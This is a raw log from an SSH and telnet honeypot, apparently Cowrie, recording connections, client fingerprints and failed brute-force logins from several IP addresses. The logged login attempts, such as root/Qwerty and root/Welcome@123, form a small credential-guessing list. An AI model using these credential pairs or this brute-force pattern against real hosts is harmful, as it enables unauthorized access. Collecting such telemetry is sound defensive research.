{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:25.010814Z","src_ip":"159.203.92.129","session":"6f27ad11ebad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appluat","password":"appluat123","message":"login attempt [appluat/appluat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:25.022785Z","src_ip":"159.203.92.129","session":"6f27ad11ebad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:26.029888Z","src_ip":"159.203.92.129","session":"6f27ad11ebad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123456","message":"login attempt [root/Aa@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:33.669042Z","src_ip":"122.168.114.167","session":"65c71bedc68a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.9","message":"Connection lost after 17.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:38.176856Z","src_ip":"122.168.114.167","session":"65c71bedc68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.117.199.5","src_port":14829,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d1cca94f300","protocol":"ssh","message":"New connection: 154.117.199.5:14829 (10.17.0.5:22) [session: 5d1cca94f300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:53.206928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh-0.2","message":"Remote SSH version: SSH-2.0-libssh-0.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:53.440200Z","src_ip":"154.117.199.5","session":"5d1cca94f300","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:53.672524Z","src_ip":"154.117.199.5","session":"5d1cca94f300","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":36600,"dst_ip":"159.203.135.109","dst_port":22,"session":"e268c5f75d56","protocol":"ssh","message":"New connection: 122.168.114.167:36600 (159.203.135.109:22) [session: e268c5f75d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:27:57.323541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:00.287368Z","src_ip":"122.168.114.167","session":"e268c5f75d56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:00.323491Z","src_ip":"122.168.114.167","session":"e268c5f75d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40362,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf542b439b82","protocol":"ssh","message":"New connection: 159.203.92.129:40362 (159.203.135.109:22) [session: bf542b439b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:10.599357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:10.604494Z","src_ip":"159.203.92.129","session":"bf542b439b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:10.608935Z","src_ip":"159.203.92.129","session":"bf542b439b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applvis","password":"123456","message":"login attempt [applvis/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:10.619714Z","src_ip":"159.203.92.129","session":"bf542b439b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:11.624783Z","src_ip":"159.203.92.129","session":"bf542b439b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty","message":"login attempt [root/Qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:14.849889Z","src_ip":"122.168.114.167","session":"e268c5f75d56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"22.6","message":"Connection lost after 22.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:19.907777Z","src_ip":"122.168.114.167","session":"e268c5f75d56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.8","src_port":40516,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed73309e7dd6","protocol":"ssh","message":"New connection: 85.11.167.8:40516 (10.17.0.5:22) [session: ed73309e7dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:31.450527Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:31.562489Z","src_ip":"85.11.167.8","session":"ed73309e7dd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":38994,"dst_ip":"159.203.135.109","dst_port":22,"session":"c65ae8b8cd82","protocol":"ssh","message":"New connection: 122.168.114.167:38994 (159.203.135.109:22) [session: c65ae8b8cd82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:35.717132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:39.484830Z","src_ip":"122.168.114.167","session":"c65ae8b8cd82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:39.488766Z","src_ip":"122.168.114.167","session":"c65ae8b8cd82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:52.757921Z","src_ip":"122.168.114.167","session":"c65ae8b8cd82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38436,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c7cc12e1376","protocol":"ssh","message":"New connection: 159.203.92.129:38436 (159.203.135.109:22) [session: 5c7cc12e1376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:56.040812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:56.045813Z","src_ip":"159.203.92.129","session":"5c7cc12e1376","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:56.050379Z","src_ip":"159.203.92.129","session":"5c7cc12e1376","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applvis","password":"applvis","message":"login attempt [applvis/applvis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:56.062485Z","src_ip":"159.203.92.129","session":"5c7cc12e1376","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.9","message":"Connection lost after 20.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:56.598665Z","src_ip":"122.168.114.167","session":"c65ae8b8cd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:28:57.068617Z","src_ip":"159.203.92.129","session":"5c7cc12e1376","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":41410,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df497e82bba","protocol":"ssh","message":"New connection: 122.168.114.167:41410 (159.203.135.109:22) [session: 8df497e82bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:17.930043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:21.197677Z","src_ip":"122.168.114.167","session":"8df497e82bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:21.202241Z","src_ip":"122.168.114.167","session":"8df497e82bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":40832,"dst_ip":"159.203.135.109","dst_port":23,"session":"8011a7029654","protocol":"telnet","message":"New connection: 185.26.126.47:40832 (159.203.135.109:23) [session: 8011a7029654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:37.669958Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"rock","message":"login attempt [root/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:38.081714Z","src_ip":"122.168.114.167","session":"8df497e82bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46660,"dst_ip":"159.203.135.109","dst_port":22,"session":"779228bb3358","protocol":"ssh","message":"New connection: 159.203.92.129:46660 (159.203.135.109:22) [session: 779228bb3358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:40.320822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:40.325065Z","src_ip":"159.203.92.129","session":"779228bb3358","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:40.329327Z","src_ip":"159.203.92.129","session":"779228bb3358","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appman","password":"appman","message":"login attempt [appman/appman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:40.344869Z","src_ip":"159.203.92.129","session":"779228bb3358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:41.378900Z","src_ip":"159.203.92.129","session":"779228bb3358","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"25.7","message":"Connection lost after 25.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:43.645241Z","src_ip":"122.168.114.167","session":"8df497e82bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":43820,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd1312e88198","protocol":"ssh","message":"New connection: 122.168.114.167:43820 (159.203.135.109:22) [session: cd1312e88198]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:29:59.725472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:30:03.829136Z","src_ip":"122.168.114.167","session":"cd1312e88198","protocol":"ssh"}
